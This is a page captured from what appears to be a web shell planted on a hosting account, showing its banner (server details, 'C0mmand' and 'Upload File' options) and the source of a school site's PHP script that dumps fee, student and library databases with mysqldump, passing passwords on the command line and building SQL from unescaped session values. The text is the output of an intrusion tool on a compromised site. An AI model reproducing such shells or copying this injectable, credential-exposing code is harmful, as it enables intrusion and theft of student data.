|
Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'config/dbconnect.php';
if(isset($_SESSION['user']))
{
$school_code=$_SESSION['code'];
$sel_school=mysqli_query($con,"SELECT * FROM `schools` WHERE schoolCode='$school_code'");
while($data=mysqli_fetch_array($sel_school))
{
$today = Date('d-m-Y');
$fees=$data['schoolCode'].'_dbFees_'.$today.'.sql';
$student=$data['schoolCode'].'_dbstudent_'.$today.'.sql';
$library=$data['schoolCode'].'_dblibrary_'.$today.'.sql';
$dbpassword=$data['dbPassword'];
$dbFees=$data['dbFees'];
$dbUsernameFees=$data['dbUsernameFees'];
$dbStudent=$data['dbStudent'];
$dbUsernameStudent=$data['dbUsernameStudent'];
$dbLibrary=$data['dbLibrary'];
$dbUsernameLibrary=$data['dbUsernameLibrary'];
$bkpPath = 'temp_db';
mkdir($bkpPath);
exec("mysqldump $dbFees --password=$dbpassword --user=$dbUsernameFees --single-transaction >$bkpPath/".$fees,$output1);
$file_url = $bkpPath.'/'.$fees;
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: utf-8");
header("Content-disposition: attachment; filename=\"" . basename($file_url) . "\"");
readfile($file_url);
/*$result=exec("mysqldump $dbFees --password=$dbpassword --user=$dbUsernameFees --single-transaction >$bkpPath/".$fees,$output1);
$result=exec("mysqldump $dbStudent --password=$dbpassword --user=$dbUsernameStudent --single-transaction >$bkpPath/".$student,$output2);
$result=exec("mysqldump $dbLibrary --password=$dbpassword --user=$dbUsernameLibrary --single-transaction >$bkpPath/".$library,$output3);*/
}
}
else
{
echo"<script>alert('Unable to access this page'); window.location='index.php';</script>";
}
?>